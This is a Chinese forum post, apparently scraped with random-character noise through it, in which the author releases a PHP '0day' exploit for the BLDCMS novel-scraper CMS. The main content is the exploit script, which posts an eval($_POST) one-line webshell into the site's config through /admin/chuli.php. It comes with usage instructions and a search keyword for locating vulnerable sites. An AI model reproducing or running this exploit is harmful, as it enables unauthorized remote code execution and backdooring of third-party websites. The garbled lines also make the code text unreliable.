之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞5 Z- f4 o6 c5 g# G2 a% Q! f' D: X
5 h" Q0 k- e! c# [& Z+ E 5 o9 h3 r- r" A7 p9 K
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
1 X* n3 T; n# A( D v X
+ m# Y/ _0 e2 s* E% {& |既然都有人发了 我就把我之前写好的EXP放出来吧
4 _+ N% J- f3 j- [ 5 @! @& k. C$ g e
view source print?01.php;">
; T8 C: J3 \( c+ M* s7 ^' k02.<!--?php
6 ~2 e' B: b8 _; E/ A$ {' M03.echo "-------------------------------------------------------------------0 V# n1 f/ D7 U( J; L
04. : c2 f2 O4 V$ g7 h
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
/ ?; b$ E: o V! ]4 s06. 9 C! q: s6 ^9 |( @* ?
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun" j6 c( A8 l0 ^( O1 B
08.
8 x8 Z! o% |6 N& B& V0 g# ^# N: e09.QQ:981009941\r\n 2013.3.21\r\n 5 W* Z, W$ f: C- p! {( |7 K
10.
/ d- s; m b" ]2 ?( z9 f+ ^11. : _1 e! Z8 e4 o- |
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
! a1 ]+ e" i9 w7 {+ d+ V13. , k$ X6 f0 ?0 n7 Y3 L! c
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
+ H: K6 i9 ~; t2 e% l8 O# a, j- w15.
( q, c/ }% A9 W7 g3 a6 s9 r4 b16.--------------------------------------------------------------------\r\n";. U- n Q2 L" m8 y" G' h
17.$url=$argv[1];
# f) G4 f4 t' d3 X* ~18.$dir=$argv[2];
- S/ ]8 g4 Z/ R19.$pass=$argv[3];
. g! N6 n6 I1 Y, u$ q20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';8 y6 R0 N' P5 C# y3 m$ B
21.if (emptyempty($pass)||emptyempty($url)), c0 E |6 T' ]* H. _
22.{exit("请输入参数");}
# `! Q9 D. m5 o# `' x; e23.else( a# |- E) n( S6 E; g
24.{' g7 h+ Z3 M$ w' K2 P. d4 g1 g- _
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
9 n. Q' K! s! Z1 p0 K26. 5 R5 ^3 [" J: [7 w! R
27.al;
6 j4 T8 \# C% Q8 `( H28.$length = strlen($fuckdata);
7 E1 E" @9 L" A! {+ k8 a& c29.function getshell($url,$pass)( U8 Z/ M- H9 |3 `1 \# k8 I
30.{+ C; a+ f& C% ^& N* ^4 N9 y: ~
31.global $url,$dir,$pass,$eval,$length,$fuckdata;3 ~& H7 g4 j% \3 f# z7 u1 {
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";% ]% |% z/ G3 M4 G+ ?
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
1 M" z" F8 |5 v6 f34.$header .= "User-Agent: MSIE\r\n";& T7 p3 G2 g9 ~ ^) J6 I0 Z0 [' U
35.$header .= "Host:".$url."\r\n";
* R2 |: f' P) H3 [. Y# d36.$header .= "Content-Length: ".$length."\r\n";
6 n1 m9 V6 d; P3 E37.$header .= "Connection: Close\r\n";9 Q9 G* U/ [+ V+ J0 n; A# `: ^
38.$header .="\r\n";
2 v7 F! F4 z+ _- ~* {/ F* { s39.$header .= $fuckdata."\r\n\r\n";
8 f# h! H" z0 ]& |9 O7 o1 ~$ K) k40.$fp = fsockopen($url, 80,$errno,$errstr,15);1 h% F# P+ s( {. T: s
41.if (!$fp)( r% l9 K3 j& t& r6 t
42.{
$ i8 ?! R9 u) K- e43.exit ("利用失败:请检查指定目标是否能正常打开");4 h/ |4 P" W. X; r3 \
44.}1 z$ ^- ^8 o: j! r5 r# M
45.else{ if (!fputs($fp,$header))
. N8 t( ] Y* D; N& e6 t46.{exit ("利用失败");}# g2 I0 a/ k" w5 Z9 `' S3 j) g9 `
47.else
2 @- |- }$ p2 e( L# f48.{
, X9 y: a2 O! {& m; p [49.$receive = '';$ z M4 i7 d& ?0 E
50.while (!feof($fp)) {
/ ?8 J0 I0 [* c# J51.$receive .= @fgets($fp, 1000);
/ [6 g r2 L- t4 p6 w3 J% e$ e52.}
5 U- p2 F5 R& z; f53.@fclose($fp);
; e3 w! p7 g- I! M* @* @4 K/ w54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标' w* r; T# ]! X- X! z/ ?
55.
1 t% k; h0 r& ^* q& O: M( A56.GPC是否=off)";
4 p' Q+ t4 t/ @57.}}5 C% R/ t9 \" Z/ S1 X* V
58.}+ d0 F( d9 s- w8 x
59.}0 @# r4 w$ f2 L' t
60.getshell($url,$pass);
3 u8 \. l) d+ v% w! F61.?-->
3 Y" `$ O1 }; `, v; l4 E K * [2 j) u! s3 e& N H
5 I7 r1 N+ ^8 L6 c; @$ T
! u" d9 [7 [4 f$ U5 K3 ^by 数据流1 b3 E+ q5 o0 A
|